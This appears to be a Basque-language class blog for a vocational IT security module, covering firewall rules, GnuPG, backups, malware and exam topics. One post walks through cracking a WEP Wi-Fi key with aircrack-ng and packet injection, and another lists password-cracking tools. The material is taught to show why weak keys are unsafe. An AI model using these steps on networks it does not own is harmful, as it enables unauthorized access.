MS21 Taldearen bloga

Suebakia. Firewall

irakasleibiltaria — Mon, 19 Apr 2010 06:00:06 +0000

Artikulu honetan IPtables zer den eta hainbat adibide azaltzen ditu: http://www.pello.info/filez/firewall/iptables.html

Adibideak:

[

OHARRA: Pauso guzti hauek egin aurretik sarearen konfigurazioa ESKUZ /etc/network/interfaces erabiliz egin. Bestela arazoak egon daitezke default gateway ezartzeko garaian.

OHARRA2: ip_forward = 1 jartzeko echo 1 ... erabili beharrean, /etc/sysctl.conf fitxategian dagokion lekuan komentarioa kendu eta 1 jarri

]

echo “Iptables erregelak …\n” iptables -F iptables -X iptables -Z iptables -t nat -F ### iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -t nat -P PREROUTING ACCEPT iptables -t nat -P POSTROUTING ACCEPT ### #localhost onartzeko iptables -A INPUT -i lo -j ACCEPT ### #barne saretik sarrera onartzeko (eth0) iptables -A INPUT -s 192.168.0.0/24 -i eth0 -j ACCEPT ### #DNS eskaerak onartzeko #iptables -A FORWARD -s 192.168.0.0/24 -i eth0 -p tcp –dport 53 -j ACCEPT #iptables -A FORWARD -s 192.168.0.0/24 -i eth0 -p udp –dport 53 -j ACCEPT ### #WEB eskaerak debekatzeko #iptables -A FORWARD -p tcp –dport 80 -j DROP ### #onartu ip forwarding eth0<–>ppp0(eth1) #eth0 barne sarekoa, ppp0(eth1 erabiliz) kanpokoa #adibide honetan 192.168.0.0/24 sarekoei baimentzen zaie iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o ppp0 -j MASQUERADE #adibide honetan, edozein barne sareri #iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE echo 1 > /proc/sys/net/ipv4/ip_forward ### ## kanpoko sarrerak itxi: # 0.0.0.0/0 edozein sare adierazten du # portu ezagunak ixten ditugu iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 1:1024 -j DROP iptables -A INPUT -s 0.0.0.0/0 -p udp -dport 1:1024 -j DROP ### echo “amaitu dira: iptables -L -n aginduarekin egiaztatu\n”

Zer egiten du adibide honek?

Ariketak:

1) Iptables erregelak erbiliz Makina batetara kanpotik ping egiteko aukera debekatu

2) Orain, ping IP konkretu bat duenari onartu eta beste guztiei debekatu

Informatika legeria

irakasleibiltaria — Fri, 12 Mar 2010 11:18:11 +0000

LOPD eta LSSI aztertu behar dituzue. Gaia oso zabala da, beraz ikasle bakoitzak berari interesgarria iruditzen zaiona eta gaiarekin erlazionatua dagoen edozeri buruz lan bat egin beharko du eta Ondoren aurkezpena.

Informazioa bilatzeko zenbait termino eta helbide:

LSSI (http://www.lssi.es)
LOPD (http://www.agpd.es)
SGAE
Canon Digital
http://www.kriptopolis.org/cae-alasbarricadas
http://bufetalmeida.com/
LSSI edo lege batek izan ditzakeen interpretazio desberdinak
LSSI legea, sarea zentsuratzeko
http://bandaancha.eu/articulos/legislacion
DRM: Eskubide digitalen kudeaketa
CC: creative commons
…

Azterketa. 2. Ebaluaketa

irakasleibiltaria — Mon, 22 Feb 2010 08:08:46 +0000

Otsailak 26 Ostirala Azterketa.

03UD eta 04UD

Sartuko dena:

1) Software maltzurra. Kontzeptuak:

Abio sektorekoak, Lehergailu logikoak, …
Birusak: Troyar Zaldiak, Harrak, Makro birusak, rootkit…
Spyware, Adware
Windows / Linux sistema eragileetan birusek duten eragina

2) Software maltzurretik babesteko eta desinfektatzeko tresnak:

Antibirusak
Infektaturik dagoen ordenagailu bat garbitzeko pausoak.
Ordenagailu sare bat garbitzeko pausoak.
Antibirusen erabilpena.

3) Sare ari-dunen eta ari-gabeen monitorizazioa:

Sare ari-dunen monitorizazioa. Wireshark.
Zer neurri hartuko zenituzke monitorizazioa ekiditeko?
Sare ari-gabeetan (WIFI) gakoaren segurtasuna.
Zer neurri hartuko zenituzke zure WIFI sarea babesteko?

4) Sinadura digitala eta zihurtagiri digitala:

ONA, DNIe
Erabilpena

Azterketarako OHARRAK:

Erabilpenaren ikuspuntutik ikasi.
Kontzeptuak azaltzeko adibideak erabili.

04UD. Pribatutasuna bermatzea

irakasleibiltaria — Fri, 15 Jan 2010 08:02:30 +0000

Helburuak:

1. Sare zerbitzuak kontrolatu eta inbentarioa egiteko beharrak identifikatzea.
2. Ingeniaritza sozialaren teknikak egiaztatu informatika iruzurra eta informazioaren lapurretan.
3. Publizitate eta spam postak sortzen duen trafiko bolumena minimizatzeko garrantziaz jabetzea.
4. Sare hari-dunen monitorizazioa ekiditeko neurriak aplikatzea.
5. Sare hari-gabeetan erabiltzen diren protokoloen segurtasun propietateak baloratzea eta sailkatzea.
6. Sinadura digitala, ziurtagiri digitala, … bezalako identifikazio sistemak azaldu.
7. Sinadura digitala, ziurtagiri digitala, … bezalako identifikazio sistemak erabiltzea.
8. Suebaki bat instalatzea zerbitzaria den ekipo batean.

Iharduerak:

[OHARRA: Jarduera guzti hauen helburua Sare batean egon daitezkeen segurtasun arazoez jabetzea da. Gero hauek ekiditeko hartu beharreko neurriak aplikatzeko. Probak zuen routerraren gainean egin itzazue ]

Sare hari-dunen monitorizazioa egitea wireshark erabilita. Ariketa honetan sareko trafikoa aztertuko dugu eta ondorio batetara iritsiko gara, saretik dena ikus daiteke, beraz, nola babes gaitezken aztertuko dugu.
Sare hari-gabeen monitorizazioa:
- wifislax, BackTrack, aircrack-ng, EthicalHacker, insecure.org, ..
- http://www.youtube.com/watch?v=jETwvEDaJeQ
- http://www.youtube.com/watch?v=GxvO8W0jqiU
- Nola jakin WEB gako egokia dugun.Adibidea: http://www.gabehabe.com/blog/how-to-crack-wep/
  - Pausoak:
    # iwconfig (wlan gailuak zerrendatzeko)
    # airmon-ng start wlan0 (wlan0 monitore moduan jartzeko -> mon0 sortzen du)
    # airodump-ng mon0 (ingurua eskaneatzen du. AP-en BSSID eta kanalak jakiteko)
    # airodum-ng -c kanala –bssid APrenBssida -w fitxategia mon0 (Dagokion APtik DAtuak entzuten ditu)
    (
    Datuak txertatzeko:
    # aireplay-ng -1 0 -a (bssid) -h GureHardwareHelbidea (interface)# aireplay-ng -3 -b (bssid) -h GureHardwareHelbidea(interface) )
    # aircrack-ng fitxategia.cap (datuetatik gakoa ateratzeko)
  - Aurrerago aipatu bezala, guzti honen helburua Gako tamaina handiak erabili behar direla ohartaraztea da.
- Babesteko neurriak:
  - Egindako ariketetatik ondorio bezala, zein neurri hartu behar dira sarea babesteko?
Aktibitatea: Informatika iruzurra eta informazioaren lapurreten inguruko informazioa
- Lan bat egin beharko duzue Ingenieritza soziala, spam, … informatikan eman daitezkeen iruzurren inguruan eta iruzur horiek saihesteko hartu beharreko neurrien inguruan. Lanak intranetean utzi behar dituzue.
Suebakia
Ziurtagiri digitala. Sinadura digitala. ONA, DNIe, …
- DNIe:
  - http://www.dnie.es/
  - http://www.dnie.es/descargas/PKCS11_para_Sistemas_Unix/ (Ubuntu-n erabiltzeko)
  - http://www.axlinux.es/2008/10/configuracion-del-dnie-en-firefox3-en.html (tutorial bat)
  - http://www.ubuntu-es.org/?q=node/93778

03UD: Segurtasun aktiboko neurriak aplikatzea

irakasleibiltaria — Mon, 30 Nov 2009 08:11:17 +0000

Helburuak
1. Kontingentzia planekin jarraitzea segurtasun hutsuneen aurrean.
2. Software maltzur ezberdinak sailkatzea.
3. Sistemaren eguneraketak maiz egitea sistemaren urraketa posibleak zuzentzeko.
4. Sisteman instalatzen diren aplikazioen jatorria eta kautotasuna egiaztatzea.
5. Software maltzurra atzeman eta kentzeko aplikazioak instalatu, probatu eta eguneratzea.
6. Datuak berreskuratzeko teknikak aplikatzea.

AKTIBITATEAK

1. Aktibitatea: Kontingentzia plan bat zer den eta nola diseinatzen den azaltzea.

2. Aktibitatea: Software maltzurra atzemateko dauden tresna motak azaltzea.

Software maltzurra kontzeptuak.

Ariketa: Ikasle bakoitzak birus pare bat aztertu eta bere ezaugarri nagusiak azaldu behar ditu gelan egingo duen aurkezpen baten bidez. Aurkezpena abenduak 18 Ostirala.

http://web.alerta-antivirus.es/
http://www.enciclopediavirus.com/

3. Aktibitatea: Software maltzurra atzeman eta desinfektatzea:

a) Windows batean antibirus ezberdinak probatu behar dituzue: (AVG, Avast, nod32, …). Oharra, normalean bi antibirus batera instalatzeak arazoak ematen ditu. Beraz, bigarrego antibirusa probatu aurretik bestea kendu. Aukera aurreratua: Linux batetik Windows bateko birusak kentzea (clamav, clamtk, (freshclam, clamscan))

b) Taldeka jarri eta talde bakoitzak windows bat prestatu behar du biruses betea. Beste taldeak garbiketa lanak egin beharko ditu.

c) Ondorio bezala, ikasle bakoitzan sistema bat garbitzeko protokolo (pauso) egokiak zein diren azaltzen duen lan bat egin beharko du.

Azterketa 1.Ebaluaketa

irakasleibiltaria — Fri, 06 Nov 2009 12:57:26 +0000

Azaroak 20 Ostirala azterketa.

Sartuko dena:

1) Segurtasun Fisikoa

2) UPS-SAI gailuak

3) Sistemara sartzeko kontrola

4) Sistemara sartzeko pasahitz, pasa-esaldi egokia aukeratzea

5) Sistemaren pasahitza egokia den aztertzea

6) Sistemara sartzeko gailu biometrikoak

7) Segurtasun kopien estrategia eta metodoak:Backup Oso, Inkremental eta diferentzialak

Segurtasun kopiak Linux eta Windowsen

9 ) Sistema osoaren Segurtasun kopia egitea: Clonezilla

10) Informazioa enkriptatzeko teknikak: Simetrikoa, asimetrikoa

11) Sinadura Digitala

02UD: Informazioaren biltegiratze sistemen kudeaketa

irakasleibiltaria — Wed, 14 Oct 2009 10:22:40 +0000

Segurtasun kopiak. teoria.

1. Aktibitatea:02UD-01A:Existitzen diren biltegiratze baliabideen azalpena.

2. Aktibitatea:02UD-02A:Praktika. Biltegiratze baliabide baten inguruan lan bat egitea.

3. Aktibitatea: 02UD-03A:Segurtasun kopien estrategia eta metodoen azalpena.

Ariketa: Backup Oso, Inkremental eta diferentzialen arteko ezberdintasuna zein dira? jarri adibide bat.

4. Aktibitatea: 02UD-04A:Praktika. Segurtasun kopiak egitea estrategia ezberdinak erabiliz.

Praktikak bi sistema eragile erabiliz egingo dira. Windows eta Linux.

a) Direktorio baten segurtasun kopia egitea

b) Sistema osoaren kopia egitea

Tresnak:

Windowseko Backup egiteko tresnak: Defektuz dakarrena

Linuxerako tresnak: sbackup, pybackpack, dar / kdar, …

5. Aktibitatea: 02UD-05A:Praktika. Funtzionamenduan dagoen sistema batean babes kopiak sortu eta leheneratzea.

Sistema osoaren Segurtasun kopia egiteko:

Clonezilla, ghost, …

6. Aktibitatea: 02UD-06A:Existitzen diren kriptografia metodo ezberdinen azalpena egitea.

Teoria

7. Aktibitatea: 02UD-07A:Praktika. Informazioa enkriptatzeko ariketak egitea.

GnuPG

http://www.gnupg.org/gph/en/manual.html

GnuPG aginduaren laburpena:

Gako parea sortu:
$ gpg – -gen-key

Gakoak esportatu:
$ gpg – -export [UID]

UID: erabiltzaile identifikatzailea
- -armor aukera jarriz gero emaitza ASCII izango da.

Gakoak inportatu:
$ gpg – -import [fitxategia]

Gakoen zerrenda ikusi:
$ gpg – -list-keys

Gakoa ezabatu:
$ gpg – -delete-key UID

Gakoa sinatu:
$ gpg – -edit-key UID

Enkriptatzeko:

$ gpg – -encrypt [fitxategia]

$ gpg --output doc.gpg --encrypt --recipient blake@cyb.org doc$ gpg --output doc --decrypt doc.gpg

Enkriptazio simetrikoa egiteko:
$ gpg – -symmetric [fitxategia]

Desenkriptatzeko:
$ gpg [- -decrypt] [fitxategia]

Sinatzeko:
$ gpg – -clearsign [fitxategia]

Sinadura egokia den jakiteko:
$ gpg [- -verify] [fitxategia.asc]

GnuPG FrontEnd Grafikoak:

Posta Elektronikoa eta enkriptazioa:

Thunderbird eta Enigmail erabiliz posta elektronikoa modu seguruan bidali eta jasotzeko ariketak egingo ditugu. Pausoak:

1) Thunderbird instalatu eta konfiguratu. Adibidez gmaileko kontu batekin. Horretarako POP eta SMTP zer diren jakin behar duzue.

2) Ondoren, Enigmail thunderbirden addons gehigarria instalatu eta konfiguratu.

01UD: Segurtasun Pasiboko neurriak ezartzea

irakasleibiltaria — Fri, 18 Sep 2009 12:07:06 +0000

01UD-01A:

Segurtasun Fisikoa: Aurkezpena

01UD-02A:

Ariketa: UPS-SAI gailuak aukeratu behar dituzue bi kasu hauetarako:

Etxerako

Ikastetxeko zuen gelarako

Lana taldeka edo bakarka egin daiteke. Aukera guztiak justifikatu behar dira. Lana amaitzean Posta bidez irakasleari bidali (zubirimanteobatx abildua gmail puntu com).

01UD-03A:

Sistemara sartzeko kontrola: Aurkezpena

01UD-04A:

Ariketa: Sistemara sartzeko pasahitz, pasa-esaldi egokia aukeratzea. Sistemaren pasahitza egokia den aztertzea.
Loturak:
- Ophcrack
- john the ripper
- bkhive / samdump2
- kon-boot
- Tutorialak:
  - Windowseko pasahitzaran indarra aztertu
  - …
Lana entregatzeko epea: URRIAK 23

01UD-05A:

Sistemara sartzeko gailu biometrikoen azterketa.

Lana Entregatzeko epea: URRIAK 23

Informatika Segurtasuna Moduluaren Programazioa

irakasleibiltaria — Fri, 18 Sep 2009 08:12:42 +0000

Informatika Segurtasuna Erdimailako zikloaren modulua da. Bere programazioa hementxe daukazue.

Teoria ehu-ko segurtasuna ikasgaian erabili dituztez zenbait gardenki izango da.

MS21 Taldearen bloga

Suebakia. Firewall

Informatika legeria

Azterketa. 2. Ebaluaketa

Otsailak 26 Ostirala Azterketa.

Azterketarako OHARRAK:

Erabilpenaren ikuspuntutik ikasi.

Kontzeptuak azaltzeko adibideak erabili.

04UD. Pribatutasuna bermatzea

Helburuak:

Iharduerak:

03UD: Segurtasun aktiboko neurriak aplikatzea

AKTIBITATEAK

Azterketa 1.Ebaluaketa

Azaroak 20 Ostirala azterketa.

Sartuko dena:

02UD: Informazioaren biltegiratze sistemen kudeaketa

GnuPG aginduaren laburpena:

GnuPG FrontEnd Grafikoak:

Posta Elektronikoa eta enkriptazioa:

01UD: Segurtasun Pasiboko neurriak ezartzea

01UD-01A:

01UD-02A:

01UD-03A:

01UD-04A:

01UD-05A:

Informatika Segurtasuna Moduluaren Programazioa